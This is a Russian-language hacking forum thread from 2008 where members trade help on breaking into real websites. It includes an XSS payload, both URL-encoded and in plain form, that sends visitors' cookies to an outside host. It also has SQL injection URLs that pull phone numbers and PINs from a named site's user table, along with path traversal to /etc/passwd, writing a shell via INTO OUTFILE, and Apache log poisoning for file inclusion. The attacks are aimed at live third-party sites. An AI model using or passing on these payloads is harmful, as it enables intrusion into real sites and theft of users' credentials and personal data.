Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. ~Taxa~

    ~Taxa~ New Member

    Joined:
    24 Jan 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    -1
    KPOT_f!nd не помогает :( если ли еще способы???
     
  2. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    если не сработает, тогда только искать тебе пассы и тыкатся на рута.
     
  3. SIdoy

    SIdoy Member

    Joined:
    19 Sep 2007
    Messages:
    12
    Likes Received:
    6
    Reputations:
    0
    Нашел пассивную xss, запрос такого вида:
    http://site.ru/index.php?s=w&name=&level_min=%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%73%2E%6E%65%74%73%65%63%2E%72%75%2F%64%6F%6F%6D%35%35%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%27%68%74%74%70%3A%2F%2F%64%6F%6F%6D%35%35%2E%66%72%65%65%68%6F%73%74%69%61%2E%63%6F%6D%2F%27%29%3C%2F%73%63%72%69%70%74%3E&level_max=&subclass2=any&dmg_max=

    или тоже самое, что и:

    http://site.ru/index.php?s=w&name=&level_min=<script>img = new Image(); img.src = "http://s.netsec.ru/123.gif?"+document.cookie; document.location.replace('http://site2.ru/')</script>&level_max=&subclass2=any&dmg_max=

    Почему куки не приходят через Opera? Через IE все отлично! На других не тэстил.
     
    #1083 SIdoy, 28 Feb 2008
    Last edited: 28 Feb 2008
  4. samarin

    samarin Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    136
    Likes Received:
    31
    Reputations:
    1
    Захожу на сайт скачать одну из нескольких лекций, а там ошибка.
    т.е. ссылки я вижу, а в описании файла вот такая фигня.
    --------------------------------------------------------
    Warning: filesize() [function.filesize]: stat failed for /home/www/lyric/pathology.dn.ua/html/lecturies/anomalii.immunnogo.otveta.ukr.doc in /home/www/pathology.dn.ua/html/viewpage.php(26) : eval()'d code on line 56
    --------------------------------------------------------
    насколько я понимаю файл на сервере превышает максимально допустимый размер
    или неправильно написанный скрипт по подсчету размера файла
    --------------------------------------------------------
    если просто пытаюсь найти уязвимый скрипт выбрасывает на главную сраницу.

    можно ли это как-то использовать кроме выяснения полных путей?
     
    #1084 samarin, 28 Feb 2008
    Last edited: 28 Feb 2008
  5. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    просто он файла не нашел такого и все, недумаю, что ты сможешь использовать отсутствие файла
     
  6. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    samarin, eval()'d code on line 56 - тоесть там используется eval() попробуй в разные переменные по подставлять PHP код а вдруг чёнить получится...
     
  7. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Вопрос... Возможно ли провести инъекцию в mysql 3 ? Где-то видел статьи на тему, но не нашел. ps инъекция после where

    Все, уже нашел, что невозможно :( Жаль...
     
    #1087 Macro, 2 Mar 2008
    Last edited: 2 Mar 2008
  8. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    можно выбирать только из той же таблицы, в которой присутствует иньекция.. или если file_priv есть то можно читать файлы

    https://forum.antichat.ru/showpost.php?p=565034&postcount=4
     
  9. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    полезного особо не вынешь, можно конечно, смотря из какой таблицы выборка идет, например если это таблица аккаунтов пользователя, то можно и пароли поиметь, но это редко случается, также при очень удачном раскладе и шелл можно залить с помощью into outfile например выборка идет из той таблицы, куда ты можешь добавлять что-то, например комментарии, при наличии файл прив ну и всех факторов для залития через into outfile шелл бдует залит
     
    3 people like this.
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Macro
    "SQL инъекция в MySQL сервере третей версии"
    _http://www.securitylab.ru/contest/212101.php
     
    1 person likes this.
  11. ~Taxa~

    ~Taxa~ New Member

    Joined:
    24 Jan 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    -1
    У меня вопрос по SQL ... Нашел скуль, но вывод ответа от SQL сервера на страницу всего выводит по 1 строчке. Я сразу заюзал limit пример

    http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+limit+1,1/*

    выводит все гуд. Потом делаю так

    http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+limit+2,1/*

    гуд потом

    http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+limit+100,1/*

    писит что ошибка... Потом я пробую так

    http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+limit+1,100/*

    То мне вывождит на страницу 100 номеров + пины к ним... Знаю что юзеров 12к

    http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+limit+12000,1/*

    Так пашет гуд... соответственно и должно примерно быть около 8-9к номеров мобил...

    Суть вопрос в том почему когда я вывожу юзеров то лимит пашет как обычно

    12000,1/*

    а когда вывожу номер мобил то

    1,9000/*
     
  12. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    select count(mobile_num) from mobile_users
     
    1 person likes this.
  13. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Тааак юзверь на счастье оказался root
    Будем пробовать шелл :) Спасибо, честно говоря, не подумал об этом.
    Как ни странно, есть все необходимое, и файл прив и добавлять вроде как можно. :)
     
  14. Климент_Ворошилов

    Joined:
    8 Dec 2007
    Messages:
    21
    Likes Received:
    10
    Reputations:
    0
    Вопрос опять по SQL.
    Имеется вот такой адрес:
    _http://fhplus.ru/gostevaya/index.php?page=1
    Если ставлю кавычку после 1, то ошибки никакой не выводит, а вот если 1 убрать и поставить кавычку (вот так :
    _http://fhplus.ru/gostevaya/index.php?page='
    то выводит ошибку вида -
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-20, 20' at line 1
    То есть как мне кажется инъекция есть, но вот составить правильный запрос опять не могу, поскольку нахожусь в процессе обучения и не всё ещё ясно до конца просьба помочь в правильном составлении запроса всем кто может конечно и главное хочет.
    Как мне кажется опять ответ есть в сообщении о ошибке, а именно '-20, 20', но как это пристроить в запрос...?
    Заранее спасибо и благодарности всем кто подскажет.
     
  15. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    Климент_Ворошилов
    20,-20 это колво допустимых строниц если брать значение больше 22 то выводит пустую 20,-20 сдесь не имеет отношение к скулю
    попробуй подобрать кол во таблиц
    http://fhplus.ru/gostevaya/index.php?page='+union+select+1,2,3,....стока цифр пока не исчезнет ошибка..../*
    дальше меняй значение ?page='+union+select+user(),2,3,....стока цифр пока не исчезнет ошибка..../*
    выведет юзера в бд
    ?page='+union+select+database(),2,3,....стока цифр пока не исчезнет ошибка..../*
    имя бд
    и тд
    прочитай фак там всё написано...
     
    1 person likes this.
  16. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    ничего не получится . т.к. там явно идут некие математические действия с тем что в переменную передается)
     
    1 person likes this.
  17. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    Доброе утро всем
    Ребята подскажите че можна вытащить через багу в скрипте
    ну типа ../etc/passwd
    доступна корневая директория, но я все файлы просматриваю только через браузер
    пасы не нашел
    короче обьясните ламеру блин
    возможностей то дафига
    откраты почти все директории
    плиз
    заранее спасибо

    p.s.
    через браузер вижу записи типа:
    Code:
    a%[COLOR=DeepSkyBlue]identd[/COLOR]Ék`%[COLOR=MediumTurquoise]htpasswd[/COLOR]’Æ´b%[COLOR=MediumTurquoise]cvsupd[/COLOR]͉`% pkg_fetchBΚ`%pkg_globÇBÎç`%pkg_sortÇBÎ*a%pkgdbÎOa%portcvsweb΂a%portscleanγa%portsdb»a% portupgradeÈb% portversiongd%ftpds]Êud%gss-serverÌwd% k5srvutilfÌxd%kadminÊ?d% kadmin.local~¡À…d%kadmind¹d% kdb5_utilf̺d%klogind»d%
    я выделил название файлов
    это директ /usr/local/sbin/ к примеру
    Только это в сокращеном виде
     
    #1097 neon_fx, 3 Mar 2008
    Last edited: 3 Mar 2008
  18. Noiro

    Noiro Banned

    Joined:
    1 Jan 2008
    Messages:
    47
    Likes Received:
    16
    Reputations:
    5
    ИМХО - ковырять исходники скриптов в поисках пути получения нормального шелла. Через просмотр файлов редко что-то можно поиметь. Можно поискать бэкапы, там иногда попадаются пароли.
     
  19. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    bad_script.php?patch=../../../../../../../../../../../../../../../../../../../../../../etc/passwd
    нет не то?
     
    1 person likes this.
  20. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    1. Там инклуд или просто читалка файлов?
    2. Если инклуд, тогда гадишь в логах апача (что то типа <?include($_GET["blabla"]);?>) и инклудишь их. Например в UA (юзер агент=\) передаешь ето дело
    3. Если читалка файлов, то ищешь конфиги к сайту/форуму/чату, смотря что там у тебя стоит.
     
    1 person likes this.
Thread Status:
Not open for further replies.